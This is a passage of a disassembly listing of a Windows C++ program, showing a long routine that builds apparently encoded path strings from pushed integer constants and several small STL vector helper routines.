		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		mov	byte ptr [esp+3A4h], 31h
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 32h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F5Ah]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 33h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3DCh], 34h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 35h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		mov	byte ptr [esp+388h], 36h
		lea	edi, [esi+0E7Fh]
		push	edi
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+218h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 37h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 38h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F11h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 39h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		mov	byte ptr [esp+398h], 3Ah
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Bh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+107Eh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Ch
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D834F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A73
		lea	ecx, [esp+68h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 3Dh
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Eh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1234h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Fh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+88h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D4h], 40h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 41h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+127Dh]
		mov	byte ptr [esp+388h], 42h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	14h
		push	12h
		mov	byte ptr [esp+37Ch], 43h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+78h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 44h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+11EBh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 45h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+80h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3CCh], 46h
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 47h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+11A2h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 48h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+90h]
		push	13h
		push	eax
		mov	byte ptr [esp+3DCh], 49h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ah
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Bh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1A0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		mov	byte ptr [esp+380h], 4Ch
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Dh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1159h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 4Eh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+84h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D0h], 4Fh
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 50h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+12C6h]
		mov	byte ptr [esp+388h], 51h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	edx, [esp+10h]
		mov	ecx, offset byte_4D834F
		push	edx
		mov	[esp+14h], edi
		call	sub_401A73
		push	offset byte_448F30
		push	offset word_4E8E5A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_40142E
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_40142E
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 53h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	eax, [esp+23Ch]
		push	offset dword_4447F4
		push	eax
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	ecx, [esp+280h]
		push	offset dword_4447F4
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+606h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+52Bh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+278h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1E8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+260h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+188h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2C0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E8E5A
		call	sub_4014D3
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1A0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+170h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+0F8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017EE
		push	eax
		push	offset byte_4493ED
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017EE
		push	eax
		push	offset dword_4493A4
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		push	offset dword_449280
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017EE
		push	eax
		push	offset word_449312
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017EE
		push	eax
		push	offset byte_4492C9
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017EE
		push	eax
		push	offset byte_44935B
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017EE
		push	eax
		push	offset byte_44947F
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		lea	ecx, [esp+200h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+370h], 54h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+388h], 55h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A4h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+3A0h], 56h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C0h], esp
		push	eax
		call	sub_401870
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+3B8h], 53h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	byte ptr [esp+358h], 1Ch
		call	sub_401226
		mov	byte ptr [esp+358h], 1Bh
		lea	ecx, [esp+110h]
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+358h], 1
		call	sub_401226
		mov	byte ptr [esp+358h], 0
		lea	ecx, [esp+80h]
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 5E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409520	proc near		; CODE XREF: sub_401474j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401983
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_409538
		mov	ecx, esi
		call	sub_40191A
; ---------------------------------------------------------------------------


loc_409538:				; CODE XREF: sub_409520+Fj
		mov	ecx, esi
		call	sub_401A46
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_409520	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409560	proc near		; CODE XREF: sub_401A73j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_401695
		pop	esi
		retn	4
sub_409560	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409590	proc near		; CODE XREF: sub_401A46j
		mov	eax, [ecx+4]
		retn
sub_409590	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095B0	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_4095B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095D0	proc near		; CODE XREF: sub_401983j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_4095DA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4095DA:				; CODE XREF: sub_4095D0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_4095D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409600	proc near		; CODE XREF: sub_401695j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A46
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401BAE
		mov	ecx, edi
		call	sub_401A46
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409600	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409650	proc near		; CODE XREF: sub_40191Aj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		call	near ptr 760A0430h
		nop
		lea	edx, [esp+48h+var_34]
		push	offset dword_440088
		push	edx
		call	sub_437B22
sub_409650	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4096D0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40979B
		mov	ecx, esi
		call	sub_401983
		cmp	edi, eax
		jnb	short loc_409703
		mov	ecx, esi
		call	sub_401983
		mov	ebp, eax
		jmp	short loc_409705
; ---------------------------------------------------------------------------


loc_409703:				; CODE XREF: sub_4096D0+26j
		mov	ebp, edi


loc_409705:				; CODE XREF: sub_4096D0+31j
		mov	ecx, esi
		call	sub_401983
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CC1
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016E0
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401983
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40979B:				; CODE XREF: sub_4096D0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
